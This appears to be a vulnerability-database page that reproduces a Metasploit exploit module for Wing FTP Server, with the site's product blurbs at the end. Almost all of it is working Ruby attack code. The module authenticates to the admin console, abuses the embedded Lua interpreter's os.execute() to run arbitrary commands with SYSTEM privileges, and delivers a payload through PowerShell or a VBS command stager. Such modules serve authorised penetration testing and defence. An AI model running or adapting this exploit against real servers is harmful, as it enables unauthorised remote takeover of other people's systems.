Lucene search
K

Wing FTP Server Authenticated Command Execution

🗓️ 29 Aug 2014 17:42:11Reported by Nicholas Nam <[email protected]>, Imran E. Dawoodjee <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wing FTP Server Authenticated Command Execution',
      'Description'    => %q{
        This module exploits the embedded Lua interpreter in the admin web interface for
        versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
        an attacker can use os.execute() to execute arbitrary system commands on
        the target with SYSTEM privileges.
      },
      'Author'         =>
        [
          'Nicholas Nam <nick[at]executionflow.org>',
          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://www.wftpserver.com'],
          ['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Wing FTP Server >= 3.0.0', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2014-06-19',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(5466),
        OptString.new('USERNAME', [true, 'Admin username', '']),
        OptString.new('PASSWORD', [true, 'Admin password', ''])
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
    deregister_options('CMDSTAGER::DECODER')
    deregister_options('URIPATH')
    deregister_options('SRVHOST')
    deregister_options('SRVPORT')
  end

  @session_cookie = ''
  @version = ''
  @psh = false
  @vuln_check = false

  def check
    @session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    if @session_cookie.nil?
      return CheckCode::Unknown
    end

    ver = send_request_cgi(
      'uri'       => '/admin_license.html',
      'method'    => 'POST',
      'cookie'    => @session_cookie,
      'ctype'     => 'text/plain;charset=UTF-8'
    )

    unless ver
      vprint_error("Connection failed!")
      return CheckCode::Unknown
    end

    unless ver.code == 200 && ver.body.include?('Wing FTP Server')
      return CheckCode::Safe
    end

    @version = Rex::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
    print_status("Found Wing FTP Server #{@version}")

    # Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
    unless @version >= Rex::Version.new('3.0.0')
      @vuln_check = false
      return CheckCode::Safe
    end

    @vuln_check = true
    winenv_path = execute_command("PATH")

    unless winenv_path
      vprint_error("Connection failed!")
      return CheckCode::Unknown
    end

    if winenv_path.code == 200
      winenv_path.body.split(';').each do |path_val|
        if (/powershell/i) =~ path_val
          print_good("Found Powershell at #{path_val}")
          @psh = true
        end
      end
    else
      @psh = false
    end

    @vuln_check = false
    return CheckCode::Vulnerable
  end

  def exploit
    vprint_status("Authenticating...")
    unless [CheckCode::Vulnerable].include? check
      fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
    end

    if @psh == true
      print_status('Executing payload via PowerShell...')
      psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
      execute_command(psh_command)
    else
      if @version > Rex::Version.new('4.3.8')
        fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
      end
      print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
      print_status("Sending payload...")
      # Execute the CmdStager, max length of the commands is ~1500
      execute_cmdstager(flavor: :vbs, linemax: 1500)
    end
  end

  def execute_command(cmd,_opts = {})
    # Wrap cmd with [[ ]] to prevent potential problems.
    if @vuln_check == true
      command = "print(os.getenv([[#{cmd}]]))"
    else
      command = "os.execute([[#{cmd}]])"
    end

    res = send_request_cgi(
      'uri'       		=> '/admin_lua_script.html',
      'method'    		=> 'POST',
      'encode_params' => true,
      'cookie'    		=> @session_cookie,
      'ctype'     		=> 'text/plain;charset=UTF-8',
      'vars_post' 		=> { 'command' => command }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
    end

    if @vuln_check
      return res
    end
  end

  def authenticate(username, password)
    res = send_request_cgi(
      'uri'       => '/admin_loginok.html',
      'method'    => 'POST',
      'vars_post' => {
        'username'     => username,
        'password'     => password,
        'username_val' => username,
        'password_val' => password,
        'submit_btn'   => '+Login+'
      }
    )

    unless res
      print_error("#{peer} - Admin login page was unreachable.")
      return nil
    end

    if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
      res.get_cookies.split(';').each do |cookie|
        cookie.split(',').each do |value|
          if value.split('=')[0] =~ /UIDADMIN/
            vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
            return res.get_cookies.split(';')[0]
          end
        end
      end
    end

    print_error("#{peer} - Authentication failed!")
    return nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation